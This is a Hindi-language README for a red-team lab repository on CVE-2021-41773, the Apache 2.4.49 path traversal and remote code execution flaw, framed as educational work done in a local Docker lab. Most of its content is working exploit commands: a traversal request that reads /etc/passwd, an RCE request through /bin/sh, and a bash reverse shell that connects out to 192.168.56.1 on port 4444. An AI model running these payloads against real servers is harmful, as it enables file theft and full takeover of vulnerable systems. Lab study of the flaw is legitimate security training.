
Apache 2.4.49 पाथ ट्रैवर्सल RCE
ITSOLERA साइबर सुरक्षा विभाग — रेड टीम टास्क #3
टीम: ऑफेंसिव टीम ज़ेटा
दिनांक: 18 मार्च 2026
यह रिपॉज़िटरी केवल शैक्षिक उद्देश्यों के लिए है।
सभी परीक्षण एक पृथक स्थानीय Docker लैब में किए गए।
इसे लाइव, प्रोडक्शन या तृतीय-पक्ष प्रणालियों के विरुद्ध कभी उपयोग न करें।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2021-41773 |
| CVSS | 9.8 क्रिटिकल |
| प्रभावित | केवल Apache HTTP Server 2.4.49 |
| प्रकार | पाथ ट्रैवर्सल + रिमोट कोड एक्ज़ीक्यूशन |
| फिक्स संस्करण | Apache 2.4.51 |
| फ़ाइल | विवरण |
|---|---|
poc_41773.py | टीम ज़ेटा बैनर के साथ Python PoC एक्सप्लॉइट स्क्रिप्ट |
docker-compose.yml | वल्नरेबल लैब वातावरण सेटअप |
offensive_zeta_shell.txt | लाइव सत्र लॉग — एक्सप्लॉइटेशन का प्रमाण |
screenshots/ | साक्ष्य स्क्रीनशॉट |
Offensive_Team_Zeta_FINAL_Report.pdf | पूर्ण एक्सप्लॉइटेशन रिपोर्ट |
# Pull the vulnerable image
sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
# Start the lab
docker-compose up -d
# Verify Apache 2.4.49 is running
curl -I http://localhost:8080/
# Must show: Server: Apache/2.4.49
# File read via path traversal
curl --path-as-is \
'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
# Remote code execution
curl --path-as-is \
-d 'echo Content-Type: text/plain; echo; id' \
'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
# Reverse shell (replace IP with your machine IP)
curl --path-as-is \
-d "echo Content-Type: text/plain; echo; bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"